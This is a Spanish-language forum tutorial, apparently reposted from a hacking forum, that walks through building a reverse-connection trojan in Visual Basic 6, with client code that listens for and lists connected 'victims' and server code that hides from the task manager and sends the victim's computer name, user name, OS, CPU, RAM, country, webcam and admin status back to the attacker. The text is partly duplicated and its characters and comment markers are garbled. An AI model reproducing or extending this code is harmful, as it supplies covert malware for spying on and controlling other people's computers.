Sie sind auf Seite 1von 9

Tutorial : creacion de troyano de conexion inversa en vb6 En este apartado vamos a aprender a crear un Troyano de conexin inversa en VB 6.

La conexin inversa, es la victima la que se conecta a ti, contrario de los de conexin directas en que eres tu quien se conecta a la victima. Con esto podemos tener a varias victimas a la vez y no de una en una y adems si estn detrs de un router funcionar Giñar Bueno empecemos por crear un nuevo proyecto. Vamos a Proyecto>Componentes y marcamos los siguientes controles: -Microsoft Windows Common Controls 5.0 (con el 6.0 al Listview no se le puede aplicar estilo XP). -Microsoft Winsock Control 6.0 Ahora pasamos a insertar los componentes necesarios, esto puede variar segn cada uno, como le guste etc Vamos a aadir el Listview que es este control:

En nombre, yo le puse LV En el cuadro propiedades, en personalizado debis tenerlo as:

Nos vamos a encabezados de columna, y aadimos las siguientes columnas: -Nombre -IP -Nick/Nombre PC -S.O -RAM -Pais -CPU -Cam -Admin -Version Bueno esto es a gusto, yo lo har as, ustedes como vean. El tamao tambin lo ajustan al gusto(el ancho de cada columna). Bueno ,el aspecto(en ejecucin, despus de ser compilado y agregado el estilo XP)debera ser parecido a este:

Como dije , ustedes pnganle las opciones que quieran Ahora vamos a aadirle un Label, que abajo, donde nos mostrar el estado y eso. En Borderstyle, pnganle FixedSingle. Ahora aadan al formulario el control Winsock:

Y en la propiedad nombre pnganle WS(por comodidad.). Y en Index pnganle el valor 0. Un Timer interval a 1. Adanle un men, vayan a Herramientas>Editor de Mens. En caption Escriban Men, y en name igual. Desmarquen la propiedad Visible. Luego denle insertar, denle a la flecha que va hacia abajo, y luego a la flecha que va apunta a la derecha. Y en caption pongan "Cambiar Nombre" y de nombre "Name". Esto es lo que deberan tener:

[Tutorial] Creacion de troyano de conexion inversa : Hoy a las 12:08 Tutorial : creacion de troyano de conexion inversa en vb6 En este apartado vamos a aprender a crear un Troyano de conexin inversa en VB 6. La conexin inversa, es la victima la que se conecta a ti, contrario de los de conexin directas en que eres tu quien se conecta a la victima. Con esto podemos tener a varias victimas a la vez y no de una en una y adems si estn detrs de un router funcionar Giñar Bueno empecemos por crear un nuevo proyecto. Vamos a Proyecto>Componentes y marcamos los siguientes controles: -Microsoft Windows Common Controls 5.0 (con el 6.0 al Listview no se le puede aplicar estilo XP). -Microsoft Winsock Control 6.0 Ahora pasamos a insertar los componentes necesarios, esto puede variar segn cada uno, como le guste etc Vamos a aadir el Listview que es este control:

En nombre, yo le puse LV

En el cuadro propiedades, en personalizado debis tenerlo as:

Nos vamos a encabezados de columna, y aadimos las siguientes columnas: -Nombre -IP -Nick/Nombre PC -S.O -RAM -Pais -CPU -Cam -Admin -Version Bueno esto es a gusto, yo lo har as, ustedes como vean. El tamao tambin lo ajustan al gusto(el ancho de cada columna). Bueno ,el aspecto(en ejecucin, despus de ser compilado y agregado el estilo XP)debera ser parecido a este:

Como dije , ustedes pnganle las opciones que quieran Ahora vamos a aadirle un Label, que abajo, donde nos mostrar el estado y eso. En Borderstyle, pnganle FixedSingle. Ahora aadan al formulario el control Winsock:

Y en la propiedad nombre pnganle WS(por comodidad.). Y en Index pnganle el valor 0. Un Timer interval a 1. Adanle un men, vayan a Herramientas>Editor de Mens. En caption Escriban Men, y en name igual. Desmarquen la propiedad Visible. Luego denle insertar, denle a la flecha que va hacia abajo, y luego a la flecha que va apunta a la derecha. Y en caption pongan "Cambiar Nombre" y de nombre "Name". Esto es lo que deberan tener:

Acepten. Bueno vamos a ver un poco de codigo: CLIENTE Cdigo

Cdigo: GeSHi (vb): Public total as integer Private sub form_load() 'al cargar el formulario WS(0).LocalPort = 2300 'escuchamos en el puerto 2300 'Nota,seria mejor hacer un nuevo formulario,llamado Settings en donde se 'especifique el puerto ha escuchar,pero de momento mejro dejenlo fijo WS(0).Listen 'Nos ponemos a la escucha Label1.Caption = "Escuchando en el puerto " & "2300" total = 0 'la variable totalindex sea 0 End Sub Private Sub Timer1_Timer() Dim v As Long, marca() As String On Error Resume Next For v = 1 To lv.ListItems.Count 'bucle que recorre todos lso elementos del listview marca = Split(lv.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key If WS(marca(0)).State <> 7 Then 'si el estado de ese no es conectado lv.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados End If Next Me.Caption = "Troyanito - " & lv.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el n de conectados End Sub Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion On Error Resume Next total = total + 1 'sumamos 1 a esta variable WS(Index).Close 'cerramos la conexion WS(Index).Accept requestID 'aceptamos la peticion Load WS(total) WS(total).Listen 'nos ponemos a la escucha(pero fijenese que le sumamos 1,proque el indice esta ocupado 'se hizo conexion con ese indice asique le sumamos 1 para aceptar nuevas)escuhamos con ese indice End Sub Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse) On Error Resume Next If lv.selectedItem.Selected = False Then 'si no hay nada seleccionado salimos Exit Sub 'salimos ElseIf Button = 2 Then 'sino,si se puls el boton 2(derecho) PopupMenu Menu 'mostramos el menu Menu End If End Sub Private Sub name_click() 'al clicar en change name(de nombre name) lv.StartLabelEdit 'que podamos editar el nombre End Sub

Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String)despues de cambiar el nombre WS(lv.SelectedItem.Index - 1).Senddata "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso End Sub Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos Dim datos as string Dim data() as string 'array WS(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos" Data=Split(datos,"|")partimos la variable datos por el identificador "|",para separar datos Select case Data(0)segn lo que contenga .Data(0) es el primer dato,usaremos eso como identificador Case "Conexion" . End select End Sub

Bueno, eso lo dejamos as, porque primero tenemos que poner cdigo en el servidor, luego modificaremos esa parte. Ahora abran un nuevo proyecto, este ser el server, adanle tambin el Winsock y de nombre tambin WS,el aspecto nos da igual ya que no se ver Y un timer, enabled true e interval 1. Un picture1. SERVIDOR Cdigo Cdigo: Dim victima as string,name1 as string,so as string,ip as string,port as string Dim webcam as string,pais as string ,tor as string,nombrepc as string,procesador as string Dim admin as boolean Private Sub form_load() On error resume next Open Environ("windir") & "KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows Input #1, victima 'leemos el contenido de este If victima = "" Then 'si esta vacio victima = "Default" 'le ponemos default a la victima End If 'sino victima contendr lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima. Close #1 Dim yo As Object Set yo = CreateObject("wscript.shell") pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)

nombrepc = Environ("ComputerName")esta variable contendr el nombre del pc name1 = Environ("UserName")el nombre de usuario so = yo.regread("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProductname")el sistema operativo ip = "127.0.0.1" 'la ip, pueden hacer un edit server port = 2300 'lo mismo, con el edit server lo editan. procesador = yo.regread("HKEY_LOCAL_MACHINEHARDWAREDESCRIPTIONSystemCentralProc essor ProcessorNameString") 'jntenlo, es k no caba, es para el procesador.... App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones If App.PrevInstance = True Then: End 'si ya esta en ejecucin salimos, para no tener 2 corriendo a la vez Me.visible=false 'para que no se vea el form. 'Esto es para la webcam Dim temp As Long hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _ 0, 0, 320, 240, Picture1.hwnd, 0) If (hwdc <> 0) Then webcam = "Si" 'entonces si tenemos webcam temp = DestroyWindow(hwdc) temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&) DoEvents Else webcam = "No" 'pues no End If pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el pas admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&))para saber si somos admins o no If admin = True Then tor = "Si" Else tor = "No" End If End Sub 'la funcin para obtener el idioma y pais Public Function ObtenerIdioma(ByVal lInfo As Long) As String Dim buffer As String, ret As String buffer = String$(256, 0) ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer)) 'Si Ret devuelve 0 es porque fall la llamada al Api If ret > 0 Then ObtenerIdioma = Left$(buffer, ret - 1) Else ObtenerIdioma = "" End If End Function 'funcin para obtener la memoria ram

Public Function GetRamSize() As String Dim RamStats As MEMORYSTATUS GlobalMemoryStatus RamStats GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1 End Function Private Sub Timer1_Timer() If WS.State <> 7 Then 'si no estamos conectados WS.Close 'cerramos End If End Sub Private Sub WS_Connect() 'al haber conexin,enviamos todos los datos WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam End Sub Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos On Error Resume Next Dim datos As String Dim data() As String WS.GetData datos 'los recibimos Data=split(datos,"|") Select case data(0) Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre Open Environ("windir") & "KB007.txt" For Output As #1 Print #1, , data(1) 'ponemos en el texto el nombre que se cambi Close #1 End select End sub Bien, hemos visto que enviamos informacin al conectarse, ahora en el cliente, la recibimos y la mostramos: CLIENTE Cdigo Cdigo: Case "Conexion" Dim x As ListItem Set x = lv.ListItems.Add(, Index & "|", data(1)) 'aadimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que aadimos.... x.SubItems(2) = data(2) & "/" & data(3) x.SubItems(3) = data(4) x.SubItems(4) = data(5) & " MB" x.SubItems(5) = data(6) x.SubItems(6) = data(7) x.SubItems(7) = data(Cool x.SubItems(Cool = data(9)

x.SubItems(9) = "v.1" End Select Voy a explicar un poco eso de split y arrays: Nosotros enviamos esto: Conexin|Minombre|127.0.0.1|mascotas. Entonces lo que hacemos es partirlo, y almacenarlo en un array(en data). cemos De manera que data(0) es lo primero, en este caso "Conexin",por eso se hace Select Case data(0) porque lo usamos como identificador. Data(1) lo siguiente "Mi nombre" y as sucesivamente. Espero que les haya gustado, se que no me explico muy bien pero bueno es Si hay fallos notifquenmelo! Puede ser porque lo hice rapidito ^^ Resultado :

Que les sea util, saludos. EDITO: Sharki, mira el tuto lo saque de otro foro, (portalhacker) si queres el link te lo paso, y en teoria el autor ni siquiera es "el autor" justamente por ese motivo. Pero para verte feliz.... Autor: Carlmycol HacKDarK , simplemente no me calente mucho

Das könnte Ihnen auch gefallen